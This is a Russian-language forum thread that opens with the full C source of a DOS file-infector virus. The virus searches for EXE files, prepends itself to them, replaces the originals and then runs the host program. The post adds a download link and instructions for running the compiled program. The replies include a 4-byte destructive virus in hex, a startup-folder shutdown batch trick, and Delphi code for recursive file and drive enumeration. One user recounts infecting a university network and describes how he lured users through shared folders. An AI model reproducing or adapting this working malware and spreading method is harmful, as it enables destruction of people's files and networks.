//------ ФУНКЦИЯ ДЛЯ КОПИРОВАНИЯ МАССИВОВ . ---------------------------
{
int C;
int D;
for (C=0;C<256;C=C+1)
{
D=A[C];
B[C]=D;
if (D==0)
{
break ;
}
}
return(0);
}
//---------------------------------------------------------------------
//---------------------------------------------------------------------
//---------------------------------------------------------------------
* POISKFAILOV()
// ЭТА ФУНКЦИЯ ВОЗВРАЩАЕТ УКАЗАТЕЛЬ НА ДВУМЕРНЫЙ МАССИВ СИМВОЛОВ .
// В МАССИСЕ 100 СТРОК ПО 100 СИМВОЛОВ .
// ЭЛЕМЕНТ МАССИВА С ИНДЕКСОМ [99][100] СОДЕРЖИТ ЧИСЛО ТИПА INT .
// ЭТО ЧИСЛО ЕСТЬ ЧИСЛО НАЙДЕННЫХ ФАЙЛОВ .
// КАЖДАЯ СТРОКА МАССИВА СОДЕРЖИТ НАЗВАНИЕ ФАЙЛА И ЗАКАНЧИВАЕТСЯ
// НУЛЕВЫМИ БАЙТАМИ .
{
int*UKAZATEL;
int DINOZAVR;
int KATALOG;
int QQ[100][100];
char NAZVANIJEFAILA[30];
struct ffblk ffblk;
struct JAVIJZUVSIO {
char ff_attrib; /* атрибуты */
int ff_ftime; /* время */
int ff_fdate; /* дата */
long ff_fsize; /* размер */
char ff_fname[13]; /* имя файла */
};
int AZEROTH;
int CHISLOFAILOV ;
int CHISLOKATALOGOV ;
int A,C,DD,FF,EH,JJ;
char B;
int CHISLOBUKVVMASSIVE;
// НАЧАЛО ФУНКЦИИ .
for (A=0;A<100;A=A+1)
{
for (JJ=0;JJ<100;JJ=JJ+1)
{
QQ[A][JJ]=0;
}
}
CHISLOFAILOV=0;
CHISLOKATALOGOV=1;
printf("JA VIJZU FAILI *.*\n");
AZEROTH = findfirst("*EXE",&ffblk,16);
while (!AZEROTH)
{
AZEROTH = findnext(&ffblk);
textcolor (10) ;
cprintf("%d ",CHISLOFAILOV);
textcolor (7) ;
KATALOG=ffblk.ff_attrib;
textcolor(10);
A=0;
putch(10);
putch(13);
B=ffblk.ff_name[0];
if (KATALOG!=16)
{
//------------------------------------------------------------------------
// ПОБАЙТНОЕ КОПИРОВАНИЕ СТРОКИ СИМВОЛОВ ИЗ СТРУКТУРЫ В МАССИВ .
for (A=0;A<256;A=A+1)
{
B=ffblk.ff_name[A];
QQ[CHISLOKATALOGOV][A]=B;
if (B==0)
{
QQ[CHISLOKATALOGOV][A]=B;
CHISLOKATALOGOV=CHISLOKATALOGOV+1;
goto m1;
}
putch(B);
}
//------------------------------------------------------------------------
CHISLOKATALOGOV=CHISLOKATALOGOV+1;
}
m1:textcolor(7);
CHISLOFAILOV=CHISLOFAILOV+1;
if (CHISLOFAILOV>75)
{ break; }
}
putch(10);
putch(13);
printf("VSEGO NAJDENO FAILOV ");
printf("%d",CHISLOFAILOV);
putch(10);
putch(13);
cprintf("MASSIV ZAPISAN . ");
textcolor(10);
putch(10);
putch(13);
cprintf(" FUNKTZIJA POISKA FAILOV VIPOLNENA . ");
UKAZATEL=&QQ[0][0];
QQ[99][100]=CHISLOFAILOV;
return(UKAZATEL);
}
// КОНЕЦ ФУНКЦИИ ПОИСКА ФАЙЛОВ .
-
int RAZMNOJENIJE(char*A3,long C3,char*B3,long F3)
//----- ЭТА ФУНКЦИЯ ОБЪЕДИНЯЕТ ДВА ФАЙЛА В ОДИН . ОНА БУДЕТ СЛУЖИТЬ
//----- НАМ ДЛЯ РАЗМНОЖЕНИЯ ! ----------------------------------------
//----- ФУНКЦИЯ ПОЛУЧАЕТ ТРИ АРГУМЕНТА ---- A,B И C .
//----- ИЗ НИХ А И B ---- ЭТО НАЗВАНИЯ ФАЙЛОВ , А С ---- ЭТО ЧИСЛО
//----- КОПИРУЕМЫХ БАЙТОВ .
{
char D3[100]="KABANCHIK.EXE";
int C4;
int E4 ;
FILE*OTKUDAKOPIRUEM ;
FILE*KUDAKOPIRUEM ;
FILE*OTKUDAKOPIRUEMNOMERDVA ;
D3[13]=0;
//=========== ОТКРОЕМ ПЕРВЫЙ ФАЙЛ В РЕЖИМЕ ЧТЕНИЯ . ===================
if((OTKUDAKOPIRUEM = fopen(A3,"rb"))==NULL)
{
fprintf(stderr, "NE MOGU OTKRIT FAIL 1 . CHTENIJE . "); getch();
}
//=====================================================================
//============= ОТКРОЕМ ФАЙЛ КАБАНЧИК НА ЗАПИСЬ . =======================
//--------------------- ЭТО НАШ ФАЙЛ КАБАНЧИК . -----------------------
if((KUDAKOPIRUEM = fopen(D3,"wb"))==NULL)
{
fprintf(stderr, "NEVOZMOJNO OTKRIT FAIL KABANCHIK . "); getch();
}
//=====================================================================
cprintf(" K O P I R O V A N I J E . ");
//--------------------------- ПЕРВЫЙ ЦИКЛ . ---------------------------
for (C4=0;C4<C3;C4=C4+1)
{
E4=fgetc(OTKUDAKOPIRUEM);
fputc(E4,KUDAKOPIRUEM);
}
fclose(OTKUDAKOPIRUEM);
fclose(KUDAKOPIRUEM);
//---------------------------------------------------------------------
putch(10);
putch(13);
cprintf(" PERVII TZIKL ZAVERSHION ! ");
putch(10);
putch(13);
//=========== ОТКРОЕМ ВТОРОЙ ФАЙЛ В РЕЖИМЕ ЧТЕНИЯ . ===================
if((OTKUDAKOPIRUEMNOMERDVA = fopen(B3,"rb"))==NULL)
{
fprintf(stderr, "NE MOGU OTKRIT FAIL 2 . CTENIJE . "); getch();
}
//=====================================================================
//==== СНОВА ОТКРОЕМ ФАЙЛ КАБАНЧИК НА ДОПОЛНИТЕЛЬНУЮ ЗАПИСЬ . =========
if((KUDAKOPIRUEM = fopen(D3,"ab+"))==NULL)
{
fprintf(stderr, "NEVOZMOJNO OTKRIT FAIL KABANCHIK VO VTOROJ RAZ . ");
getch();
}
//=====================================================================
//----------------------- ВТОРОЙ ЦИКЛ . -------------------------------
for (C4=0;C4<F3;C4=C4+1)
{
E4=fgetc(OTKUDAKOPIRUEMNOMERDVA);
fputc(E4,KUDAKOPIRUEM);
}
cprintf(" VTOROJ TZIKL ZAVERSHION ! ");
//---------------------------------------------------------------------
fclose(OTKUDAKOPIRUEMNOMERDVA);
fclose(KUDAKOPIRUEM);
return(0);
}
//---------------------------------------------------------------------
//----- КОНЕЦ ФУНКЦИИ РАЗМНОЖЕНИЕ . -----------------------------------
//---------------------------------------------------------------------
* VIVODSTROKI(char*A1)
//-- ЭТА ФУНКЦИЯ ВЫВОДИТ НА ЭКРАН СТРОКУ СИМВОЛОВ .
//-- СТРОКА ДОЛЖНА ЗАКАНЧИВАТЬСЯ НОЛЁМ .
//-- ФУНКЦИЯ ПОЛУЧАЕТ ОДИН АРГУМЕНТ ---- УКАЗАТЕЛЬ
//-- НА НАЧАЛО СТРОКИ .
//-- ТРЕБУЮТСЯ ФАЙЛЫ
//-- <stdio.h>
//-- <conio.h>
{
int B1,C1;
for(C1=0;C1<100;C1=C1+1)
{
B1=*(A1+C1);
if (B1==0)
{ break ; }
putch(B1);
}
return(0);
}
//---------------------------------------------------------------------
//---------------------------------------------------------------------
//-------------------- ГЛАВНАЯ ПРОГРАММА . ----------------------------
//---------------------------------------------------------------------
//---------------------------------------------------------------------
int main(int argc, char* argv[])
{
//------------------- ГЛОБАЛЬНЫЕ ПЕРЕМЕННЫЕ . -------------------------
char NASHEMESTOPOLOJZENIJE[256]; //---- НАШ ПУТЬ И НАЗВАНИЕ .
int A,F;
char*QQ;
char B ;
long D;
int SRAVNENIJENAZVANIJASSOBSTVENNIM;
SRAVNENIJENAZVANIJASSOBSTVENNIM=0;
int*NACHALOMASSIVA; //---- УКАЗАТЕЛЬ НА НАЧАЛО МАССИВА С НАЙДЕННЫМИ ФАЙЛАМИ .
int N50;
int Z50,Y50,X50;
int MASSIV1[256];
char MASSIV2[256];
int PROGRESS ;
char QQQ[100]=" ";
int SOBSTVENNAJADLINA; //---- ДЛИНА ВИРУСА .
//----------------- КОНЕЦ БЛОКА ГЛОБАЛЬНЫХ ПЕРЕМЕННЫХ . ---------------
//----------------- НАЧАЛО ГЛАВНОЙ ФУНКЦИИ . --------------------------
//============== ОБНУЛЕНИЕ МАССИВОВ . =================================
for (F=0;F<256;F=F+1)
{
NASHEMESTOPOLOJZENIJE[F]=0;
}
for (Z50=1;Z50<256;Z50=Z50+1)
{
MASSIV1[Z50]=0;
MASSIV2[Z50]=0;
}
//=====================================================================
SOBSTVENNAJADLINA=12800; //---- НАША СОБСТВЕННАЯ ВИРУСНАЯ ДЛИНА .
cprintf(" VTORAJA CHAST PROGRAMMI ---- RAZMNOZHENIJE . ");
cprintf(" ETA PROGRAMMA UMEET OPREDELIAT SOBSTVENNOJE ");
cprintf(" NAZVANIJE I DLINU FAJLOV . ");
putch(10);putch(13);
cprintf("NASHE MESTOPOLOSHENIJE");
putch(10); putch(13);
putch(10);putch(13);
textcolor(10);
for (F=0;F<1000;F=F+1)
{
QQ=argv[0];
B=*(QQ+F);
NASHEMESTOPOLOJZENIJE[F]=B;
putch(B);
if (B==0) { break; } }
putch(10);putch(13);
//---- ТЕПЕРЬ В МАССИВЕ NASHEMESTOPOLOJZENIJE СОДЕРЖИТСЯ СТАРТОВОЕ ИМЯ --------- .
textcolor(7);
putch(10);
putch(13);
cprintf(" PODTVERJZDENIJE STARTOVOGO NAZVANIJA . ");
//---------------------------------------------------------------------
//---------------------------------------------------------------------
//---------------- ВЫВОД МАССИВА СО СТАРТОВЫМ НАЗВАНИЕМ . -------------
//---------------------------------------------------------------------
putch(10);
putch(13);
VIVODSTROKI(NASHEMESTOPOLOJZENIJE);
//---------------------------------------------------------------------
//------------------------- ЗАВЕРШЕНО . -------------------------------
//---------------------------------------------------------------------
getch();
//----------- ОПРЕДЕЛЕНИЕ ДЛИНЫ ФАЙЛА . -------------------------------
D=OPREDELITDLINUFAILA(NASHEMESTOPOLOJZENIJE);
cprintf(" V ETOM FAJLE ");
putch(10);
putch(13);
cprintf("%d",D);
putch(10);
putch(13);
cprintf(" BAJTOV . ");
putch(10);
putch(13);
//-------------------- ЗАВЕРШЕНО . ------------------------------------
//------------------ ВНИМАНИЕ ! ЧАСТЬ I ---- ПОИСК . ------------------------------
cprintf(" CHAST PERVAJA ---- POISK . ");
cprintf(" POISK . ");
textcolor(10);
// ФУНКЦИЯ НЕ ПОЛУЧАЕТ НИКАКИХ АРГУМЕНТОВ , НО ВОЗВРАЩАЕТ УКАЗАТЕЛЬ
// НА МАССИФ С НАЗВАНИЯМИ ФАЙЛОВ .
// ВЫЗЫВАЕМ ФУНКЦИЮ .
NACHALOMASSIVA=POISKFAILOV();
N50=*(NACHALOMASSIVA+10000);
// ПЕРЕМЕННАЯ NACHALOMASSIVA ---- ЭТО УКАЗАТЕЛЬ НА НАЧАЛО МАССИВА .
// ПОСЛЕДНИЙ ЭЛЕМЕНТ МАССИВА СОДЕРЖИТ ЧИСЛО НАЗВАНИЙ ФАЙЛОВ В МАССИВЕ .
// ЭТОТ ЭЛЕМЕНТ НАХОДИТСЯ В СМЕЩЕНИИ 10000 ОТ НАЧАЛА .
// ТЕПЕРЬ N ---- ЭТО ЧИСЛО НАЙДЕННЫХ ФАЙЛОВ .
cprintf(" V MASSIVE . ");
cprintf("%d",N50);
cprintf(" FAILOV . ");
cprintf(" VOT MOJ TRIUMFALNIJ MASSIV ! /n");
//-------------------- УСОВЕРШЕНСТВОВАННЫЙ ВЫВОД МАССИВА . ------------
putch(10);
putch(13);
cprintf("USOVERSHENSTVOVANNIJ VIVOD MASSIVA . \n");
Y50=100;
X50=N50+1;
//----- ВОТ ГЛАВНЫЙ ЦИКЛ ОБРАБОТКИ ФАЙЛОВ . -------------------------
for (Z50=1;Z50<X50;Z50=Z50+1)
{
putch(10);
putch(13);
if (Z50==20) {getch();}
if (Z50==40) {getch();}
PREVED((NACHALOMASSIVA+Y50),MASSIV1);
//=====================================================================
//------------------ ВНИМАНИЕ !!!!! ----------------------------------
//=====================================================================
//----- СЕЙЧАС . ИМЕННО СЕЙЧАС В МАССИВЕ MASSIV1 НАХОДИТСЯ
//----- ТЕКУЩИЙ ОБРАБАТЫВАЕМАЫЙ НАЙДЕННЫЙ ФАЙЛ .
//----- ИМЕННО СЕЙЧАС МОЖНО ПРИМЕНЯТЬ К НЕМУ НАШИ ФУНКЦИИ КОПИРОВАНИЯ
//----- И ДРУГИЕ ФУНКЦИИ .
VIVODSTROKIINT(MASSIV1);
PREOBRAZOVANIJE_INT_V_CHAR(MASSIV1,MASSIV2);
D=OPREDELITDLINUFAILA(MASSIV2);
textcolor(10);
cprintf("RAZMER FAJLA . ");
cprintf("%d",D);
textcolor(10);
//----- MASSIV2 ---- ЭТО НАЗВАНИЕ ФАЙЛА .
//----- А ПЕРЕМЕННАЯ D ---- ЭТО ЕГО РАЗМЕР В БАЙТАХ .
//=====================================================================
//=====================================================================
//=====================================================================
//----- ВОТ ТРЕТЬЕ ДОБАВОЧНАЯ СПЕЦИАЛЬНАЯ ЧАСТЬ НАШЕЙ ПРОГРАММЫ .
//----- ЭТА ЧАСТЬ БУДЕТ ОПРЕДЕЛЯТЬ ЗАРЯЖЕН ЛИ ИСКОМЫЙ ФАЙЛ ----
//----- ИЗ СОСТАВНОГО ФАЙЛА ИЛИ ИЗ ЧИСТОЙ ПРОГРАММЫ LE .
PROGRESS=SRAVNENIJEPROGRAMM(NASHEMESTOPOLOJZENIJE,MASSIV2);
//----- ЕСЛИ В ПЕРЕМЕННОЙ PROGRESS ХРАНИТСЯ ОДИН ----
//----- ЭТО ЗНАЧИТ , ЧТО ФАЙЛ MASSIV2 УЖЕ ЗАРЯЖЕН .
//----- ЕСЛИ PROGRESS ---- ЭТО НОЛЬ , ТО ЗНАЧИТ ФАЙЛ НЕ ЗАРЯЖЕН .
//=====================================================================
//=====================================================================
//=====================================================================
if (PROGRESS==0)
{
RAZMNOJENIJE(NASHEMESTOPOLOJZENIJE,SOBSTVENNAJADLINA,MASSIV2,D);
// ВРЕМЯ ДЛЯ РАЗМНОЖЕНИЯ !
unlink(MASSIV2);
rename("KABANCHIK.EXE",MASSIV2);
}
//====================================================================
//----------------------- ВНИМАНИЕ !!!!! -----------------------------
//====================================================================
textcolor(10);
Y50=Y50+100;
}
cprintf("PERVAJA CHAST ZAVERSHENA .");
//----- ПЕРВАЯ ЧАСТЬ ЗАВЕРШЕНА . ------------------------------------
cprintf("PROVERKA VOZMOJNOSTI STIRANIJA FAJLOV .");
unlink("q.txt");
//-------------------------------------- ПРЕВОСХОДНО ! ----------------------------------------
//--------------------- ТЕПЕРЬ ВСЕ НАЙДЕННЫЕ ФАЙЛЫ МОДИФИЦИРОВАНЫ . ---------------------------
//---- ТЕПЕРЬ НАДО ИЗВЛЕЧЬ ИЗ СТАРТОВОГО ФАЙЛА ОРИГИНАЛЬНУЮ ПРОГРАММУ .
//---- И СКОПИРОВАТЬ ЕЁ В ФАЙЛ MEDVED.EXE .
//---- ПОТОМ ЗАПУСТИТЬ MEDVED.EXE , А КОГДА ОН ЗАВЕРШИТ РАБОТУ , СТЕРЕТЬ ЕГО .
//---------------------------------------------------------------------------------------------
if (PROGRESS==1) //---- ЕСЛИ СТАРТОВЫЙ ФАЙЛ МОДИФИЦИРОВАН .
{
//---- ТО ИЗВЛЕКАЕМ ИЗ НЕГО ОРИГИНАЛЬНУЮ ПРОГРАММУ .
IZVLECHENIJE(NASHEMESTOPOLOJZENIJE,SOBSTVENNAJADLINA);
cprintf(" VNIMANIJE ! PEREDACHA UPRAVLENIJA !");
getch();
execl("MEDVED.EXE",QQ);
unlink("MEDVED.EXE");
};
//---- ТУТ НАША ПРОГРАММА ЗАКАНЧИВАЕТСЯ . ТО ЕСТЬ ЗАКАНЧИВАЕТСЯ ЭТА ПРОГРАММА .
//---------------------------------- НО БУДЕТ И СЛЕДУЮЩАЯ ! -----------------------------------
return 0;
}
//----------------------------------------------------------------------
-
Вот мой шедевр ----
http://rghost.ru/45932360
Внимание ! НЕ ЗАПУСКАЙТЕ эту программу , если в каталоге , где она находится , есть другие файлы в формате EXE !
Возможно , что без стандарных библиотек программа работать не будет .
Программа не действует на файлы на которых установлен атрибут " только чтение " .
Как использовать TRIUMF.EXE .
1 . Скопируйте TRIUMF.EXE В пустой каталог .
2 . Добавьте туда 3-5 различных программ небольшого размера в виде EXE-файлов .
3 . Снимите со всех файлов атрибут " только чтение " .
4 . Запустите TRIUMF.EXE . Если не будет конфликта с библиотеками , то он не зависнет .
5 . Если программа не зависла , то после окончания её работы попробуйте запустить какой-нибудь из подопытных файлов .
Правильная работа программы НЕ ГАРАНТИРУЕТСЯ . Не храните и не запускайте её в каталоге с другими программами , хранящимися в единственном экземпляре .
-
Я когда-то нечто подобное на Дельфях писал. Та прога искала все файлы на всех логических дисках компа и заменяла их собой. А еще - дискету 3,5.
Вин мастдай заценил. Работает. Обидно за винду только. Вы сейчас какой операционкой пользуетесь? Виндой, естественно?
-
Я когда-то нечто подобное на Дельфях писал. Та прога искала все файлы на всех логических дисках компа и заменяла их собой. А еще - дискету 3,5.
Если я не ошибаюсь , это так называемый owerwriter , то есть перезаписывающий вирус . Я слышал что это исторически наиболее древний и наиболее примитивный тип вирусов , появившийся ещё до изобретения MS-DOS . Знатоки утверждают что в настоящее время вирусы вида owerwriter сохранились как соревнование на самый маленький вирус .
Сейчас первенство удерживает вирус kyjack размером всего 4 байта. При запуске он записывает себя на все сектора дискеты. Вот эти 4 байта:
8B DE CD 26.
Данные четыре байта соответствуют коммандам ассемблера
MOV BX,SI
INT 26h
Че делают эти команды , я до сих пор не понял ! Инт 26 ---- это запись на диск , а Беикс и СИ это по-видимому пораметры -- откуда начать писать и сколько байт записывать . Вот только откуда взялся в BX ( Или SI ) адрес самой проги ---- сие есть тайна .
.
-
А еще - дискету 3,5.
Дискета 3.5 А ---- это наше все ! Ещё можно в AUTOEXEC.BAT собственное имя записать если установлена работоспособная ДОС .
Кстати насчёт AAUTOEXEC А
Вспоминается великий и могучий хит всех времен и народов ---- запустить в каталог " Автозагрузка " файл с расширением .bat и вот с таким содержанием :
shutdown /t 10
-
Вин мастдай заценил. Работает. Обидно за винду только. Вы сейчас какой операционкой пользуетесь? Виндой, естественно?
7 .
-
Обидно за винду только.
Почему , неужто Вы -- поклонник Баала ?
-
Та прога искала все файлы на всех логических дисках компа и заменяла их собой.
Чтобы не стирать файлы , можно записывать себя под случайным названием ( именем ) . Правда после этого программа даже формально перестанет считаться вирусом .
Тут , понимешь , был такой случай . Написал я эту могучую прогу и забил на язык СИ . А на диске после отладки остались штук тысяча разных её копий и все под разными именами . Установил , я , значит , шутки ради игру Aliens versus Predator . У ней установочный файл в виде одного EXE - файла . Вернее не установил , а скопировал этот файл , причём он был у меня в единственном экземляре . И случайно нажал не ту клавишу , запустил свой аццкей недовирус . Он взял и переписал весь файл игры , причём файл после этого не работает вообще ( хотя по логике должен работать ) а только говорит " Превед Медвед " . Так я лишился игры .
-
Сейчас первенство удерживает вирус kyjack размером всего 4 байта.
Я уже давно считаю, что такие вирусы не имеют смысла. Файл размером 4 байта... Кто бы чего там не говорил, но такой файл вызывает подозрения, да и антивируска их ловит. В качестве соревнования - да, круто. В качестве реально рабочего вируса - такой размер не катит. А вот файл размером в 400 килобайт - другое дело.
Вин мастдай заценил. Работает. Обидно за винду только. Вы сейчас какой операционкой пользуетесь? Виндой, естественно?
7 .
Марш на Линукс!!! Не любите Винду - нечего ей пользоваться! А пользуетесь - нечего ворчать.
Почему , неужто Вы -- поклонник Баала ?
Важнейший недостаток Винды - цена. Остальное - ерунда.
Чтобы не стирать файлы , можно записывать себя под случайным названием ( именем ) . Правда после этого программа даже формально перестанет считаться вирусом .
Тут вся соль была в том, чтобы новосозданные ексешники не вызывали подозрений, ведь размножение этого вируса было рассчитано в основном на человеческий фактор. И рассчет полностью оправдался.
И случайно нажал не ту клавишу , запустил свой аццкей недовирус . Он взял и переписал весь файл игры , причём файл после этого не работает вообще ( хотя по логике должен работать ) а только говорит " Превед Медвед " . Так я лишился игры .
Сочувствую)))))
-
Кто бы чего там не говорил, но такой файл вызывает подозрения, да и антивируска их ловит.
А почему он у ламера должен вызвать подозрения ?
А вот файл размером в 400 килобайт - другое дело.
Ха-ха ! Шутка что ли ? Нет , вирус должен быть маленьким .
Марш на Линукс!!! Не любите Винду - нечего ей пользоваться! А пользуетесь - нечего ворчать.
Я ---- нуп в Линуксах . К томуже игр для него нет . И варкрафт не работает там . И вообще от стандарта POsix я не тащусь . Что там есть полезного ?
А проклясть вин32 и презирать его ---- это священный долг каждого нуба , ламера и хеллоувордщика ( и всех юзеров вин32 вообще ) . Ибо иначе ---- нельзя .
Важнейший недостаток Винды - цена. Остальное - ерунда.
Какая еще цена .
Господь с Вами ! Да поможет Вам благодатный дух преподобных святых фон неймана и Вирта ! Мы живём в России . Ободрать проклятых заморских буржуев и никогда им ничего не платить ---- это наш священнейший долг и обязанность ! Да чтоб мне сто лет программировать многопоточность в Дос в защищенном режиме на интерпретаторе Microsoft QBasik если я соглашусь установить лицензионные программы ! Чтоб мне музыку слушать и фильмы смотреть в чистом ДОС без монитора и без мыши , без нортон коммандора и драйверов , если я на это соглашусь добровольно .
Тут вся соль была в том, чтобы новосозданные ексешники не вызывали подозрений, ведь размножение этого вируса было рассчитано в основном на человеческий фактор. И рассчет полностью оправдался.
Ага ! Значит , прога была испытана ! Пдробности в студию !
-
Тут вся соль была в том, чтобы новосозданные ексешники не вызывали подозрений, ведь размножение этого вируса было рассчитано в основном на человеческий фактор. И рассчет полностью оправдался.
А дату и время создания файла сохранять не забывали ? И атрибуты ?
-
антивируска их ловит.
Ловит , конечно , это же без всякой антиэвристики простейший вирус . Предельный случай простоты , так сказать . Образец технологии 80-х годов XX века .
-
А почему он у ламера должен вызвать подозрения ?
Потому что маленький. Нормальная рабочая прога не может иметь такие размеры, следственно - люди не поверят в то, что этот файл - что-то полезное и не запустят его. А потом его тупо сожрет антивируска. Логично? Мой же вирус на то время Касперский не ловил, и выглядел он презентабельно. Даже иконку красивую имел. Во как!
А проклясть вин32 и презирать его ---- это священный долг каждого нуба , ламера и хеллоувордщика ( и всех юзеров вин32 вообще ) . Ибо иначе ---- нельзя .
По Станиславскому - не верю. )))
Какая еще цена .
Я работаю сисадмином в крупном институте, поэтому без лицензии мы никуда. Бродят тут разные, проверяют... Поэтому и ставят Убунту многие - бесплатная она. И 1С под нее уже подмазали, и Либре...
Ага ! Значит , прога была испытана ! Пдробности в студию !
О да, была испытана, да еще как! Не, про дату создания и атрибуты я попросту забыл. Но она исправно заменяла собой все файлы на всех логических дисках компа, до которых могла дотянуться со своими правами доступа. Поскольку в то время я учился в институте - то жертвой выступила сетка этого института. Там все пользователи работали под ограничеными правами (под юзерами), то само ядро системы этот вирус не жрал. Но вот все остальное летело на фиг со второй космической скоростью. Даже фоновый рисунок рабочего стола благополучно подьедался этой злобной прогой. Размножение этого вируса было полностью рассчитано на человеческий фактор. Во-первых - это дискетки (флешки были редкостью), на которые копировалась эта прога. Во-вторых - сетевые папки. Человек вставлял свою дискетку на ином компе и видел неизвесный файл, имеющий презентабельный вид и красивую иконку (!!!) и от любопытства запускал его. Аналогично - из сетевых папок. Итого: 60% компов в сети оказались убиты за 7-8 дней. потом админы разобрались и выловили вирус.
-
Росскожи пожалуйста как писать в сетевой диск .
-
Я пробовал . Ни чего не выходит . Так что тренируюсь пока на локальном диске Ц .
-
Я писал эту прогу на Дельфях. Для этого языка существует куча специально разработаных функций и процедур
http://delphiworld.narod.ru/_all_articles_.html
которые используются на манер конструктора "Лего". Зачем изобретать велосипед? Поищите по С++ подобные материалы, наверняка такое должно быть в сети. А дальше - выбираете нужное, увязываете в прогу, и - вуаля!
В этом же случае я выбирал список логических дисков и рубил там файлы. Потом выбирал список расшареных папок этого компа и копировал туда несколько копий исполняемого файла, просто так и замаскированным под разную фигню. Как-то так.
-
Обход был рекурсивным ? Сколько уровней вложенных котологоф удалось обойти ?
-
Вот всякие ламеры врут что типа итерация свойственна человеку , а рекурсия -- богу . По-моему все это -- бред сивой кобылы и ламерщина . А тот кто это придумал , лучше бы сочинял музыку .
Про Ассемблер вообще подобное сказать нельзя . Хотя бы потому что для рекурсии нужны локальные переменные , а в Ассемблере их получить весьма трудно .
Аппаратная архитектура процессора использует итерацию а не рекурсию .
Любопытно , что поклонники рекурсии , как правило , не любят оператор GOTO .
А я скажу вот что ---- GOTO -- просто необходимая команда ! Она есть в микрокоде процессора , в паре с CMP она может заменить любой цикл . И вообще , что есть внутри процессора , то лишним в программе быть не может .
Я тут пытался сообразить функцию обхода котологоф . Функция работает
исправно , только медленно . Как ни крути , а рекурсия тут бы пригодилась , да только я не знаю как заставить работать рекурсивный алгоритм .
-
само ядро системы этот вирус не жрал.
Ещё бы ! Ядро в ring 0 . Практически в кольце всевластия !
Чтобы вирус написанный в Дельфи , сожрал ядро ? Мечтать не вредно ! Да и как его сожрешь когда оно в неперемещаемой области памяти .
-
Но вот все остальное летело на фиг со второй космической скоростью.
Чего он такое учинил что сеть упала ? Расскажите плз я хочу знать рецепт .
Даже фоновый рисунок рабочего стола благополучно подьедался этой злобной прогой.
Он менял рабочий стол через реестр или модифицировал файл с картинкой ?
-
Обход был рекурсивным ? Сколько уровней вложенных котологоф удалось обойти ?
Естественно. Все, что есть.
Это было что-то типа
procedure TForm1.FindFile(Dir:String);
Var SR:TSearchRec;
FindRes:Integer;
begin
FindRes:=FindFirst(Dir+'*.*',faAnyFile,SR);
While FindRes=0 do
begin
if ((SR.Attr and faDirectory)=faDirectory) and
((SR.Name='.')or(SR.Name='..')) then
begin
FindRes:=FindNext(SR);
Continue;
end;
if ((SR.Attr and faDirectory)=faDirectory) then // если найден каталог, то
begin
FindFile(Dir+SR.Name+'\'); // входим в процедуру поиска с параметрами текущего каталога + каталог, что мы нашли
FindRes:=FindNext(SR); // после осмотра вложенного каталога мы продолжаем поиск в этом каталоге
Continue; // продолжить цикл
end;
ListBox1.Items.Add(SR.Name);
FindRes:=FindNext(SR);
end;
FindClose(SR);
end;
Поиск логических дисков
procedure TForm1.FormCreate(Sender: TObject);
var
Disklist:DWORD;
Letter:Char;
Outstring: String;
begin
Caption:='Список дисков';
ListBox1.Font.Name:= 'Courier';
Disklist:= GetLogicaldrives;
Letter:= 'A';
while (Disklist>0) do begin
if Odd(Disklist) then begin
case GetDriveType(Pchar(Letter + ':\')) of
0: Outstring :='[невозможно определить тип]';
1: Outstring :='[не существует корневая папка]';
DRIVE_REMOVABLE:Outstring:='[сменный диск]';
DRIVE_FIXED:Outstring:='[жесткий диск]';
DRIVE_REMOTE:Outstring:='[сетевой диск]';
DRIVE_CDROM:Outstring:='[CD диск]';
DRIVE_RAMDISK:Outstring:='[RAM диск]';
end;
Outstring:= 'Disk'+Letter+': '+ Outstring;
ListBox1.Items.Add(Outstring);
end;
Disklist:= Disklist shr 1;
Inc(Letter);
end;
end;
Замена файлов собой - не помню где эта процедурка, нужно искать.
Он менял рабочий стол через реестр или модифицировал файл с картинкой ?
Второе. Хотя убить реестр - тоже не проблема.
Чего он такое учинил что сеть упала ? Расскажите плз я хочу знать рецепт .
Убил большой процент компов в этой сети. А когда это происходит, то много вирусов одновременно Пытаются щемиться в сетевые папки и чего-то там кидают по сети, от этого скорость работы сети падает. Гигабитки-то тогда не было)))
-
У меня в системе объявился процесс который называется WINCIN . Почему-то мне это название не нравится !
-
Не буду я больше учить
албанский Ассемблер ... Я в нём разочаровался . Оказывается Ассемблером нельзя вызвать землетрясение и повысить зарплату . Облом вселенский .
-
Кому же нравятся левые процессы в системе...
Теперь что учить будете?
-
WIN CIN ---- это вирус " Чернобыль " хаха . Тот самый который необратимо терминирует БИОС и уничтожает компьютер на корню .
-
Теперь что учить будете?
Биографии миллионеров . Надо же когда-то браться за ум . Ещё у меня есть мысль коллекционировать аудиокниги .
-
Тут я недавно смотрел фильмец про Джобса ---- и прямо сказать я ваще заценил этого комрада . Оказывается он не просто лысый айфонщик а и вправду крутой бобёр и изобретатель . Но этот гнусный гоблин этот сын сатаны этот наместник Соурона это чучело Билл гейц всё у него украл как последний гоблин . И мораль фильма была такова : Трудолюбивые и умные люди десятилетиями изобретают мега-аццкое изобретение чтобы подарить его людям а какой-то проходимец , в жизни ни на что не годный и не написавший в жизни ничего кроме оцтойнейшего интерпретатора бейсика , всё крадёт с помощью хитрости и сдаёт всех подряд в зоопарк . Отсюда вывод ---- беспринципная вороватая хитрость полезнее чем ум и трудолюбие .
-
Нет на Земле справедливости , просто чума ! Если была бы хоть небольшая справедливость , то билли гейца зажарили живьём на костре бы ещё в прошлом веке .
-
И вы работали бы на Линуксе вместо винды. Кто вам мешает сейчас так делать? Тогда вы будете честны до конца.
-
Тут я недавно смотрел фильмец про Джобса
Ничего страшного, что он сам с большой вероятностью своровал идеи у своего инженера-тезки?
-
Они оба своровали у Алана Кэя из Xerox PARC.
-
Не удивительно. Если даже сейчас воруют друг у друга идеи для всяких относительно новых гаджетов, то тогда - не удивительно, что своровали такую передовую идею, как эта. Воровство идей - это не новость. Но Гейтс и Джобс - оба заработали миллионы на этой идее. А вы, Мышьяк, ругайте их, ругайте... Можете даже по телевизору их ругать - они только рады будут. Я бы на Вашем месте если уж решил их ругать - так хоть деньги с них за это брал. А так....
-
Мертвые ныне имеют доступ в мир живых?)
-
. Можете даже по телевизору их ругать - они только рады будут. Я бы на Вашем месте если уж решил их ругать - так хоть деньги с них за это брал. А так....
Я один раз просочился в телевизер . Но меня засекли .
-
Мертвые ныне имеют доступ в мир живых?)
Хто здеся ?!!!!!!!!!!
-
И вы работали бы на Линуксе вместо винды. Кто вам мешает сейчас так делать? Тогда вы будете честны до конца.
Я и так честнее фсех . Это аксиома . Работа на линуксе никак с честностью нисвязана вобще и никогда .
-
